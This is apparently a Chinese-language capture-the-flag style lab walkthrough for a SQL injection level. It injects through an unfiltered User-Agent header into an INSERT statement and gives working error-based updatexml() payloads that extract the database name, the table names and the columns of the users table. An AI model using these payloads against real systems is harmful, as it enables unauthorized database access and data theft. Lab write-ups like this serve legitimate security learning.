我们先来看看源码
这里我们发现$uname和$passwd都被check_input函数过滤,也就是不能在这里进行SQL注入了,接着再往下看看
这里可以看到当登入进去的时候,还会再执行一条SQL语句并且包含的$uagent没有被过滤掉,还看到后面的语句中还会进行报错回馈,因此我们可以利用这两个地方为注入点,这里用burp抓包请求进行报错注入。
这是我们不能像往常的报错盲注一样直接上,我们得考虑一下闭合VALUEC,加入我们利用的点是$uagent那构建格式就应该是1',1,1)#,在SQL语句中相当于
INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('1',1,1)#, '$IP', $uname)
查看数据库名:1',1,updatexml(1,concat(0x5e,database()),1))# <这里我用的是updatexml()函数>
可以看出数据库名为:security
查看所有表:1',1,updatexml(1,concat(0x5e,(select group_concat(table_name) from information_schema.tables where table_schema = database())),1))#
查看所有字段:1',1,updatexml(1,concat(0x5e,(select group_concat(column_name) from information_schema.columns where table_schema = database() and table_name = 'users')),1))#
后续以同样方法爆破即可,不在赘述,此关结束。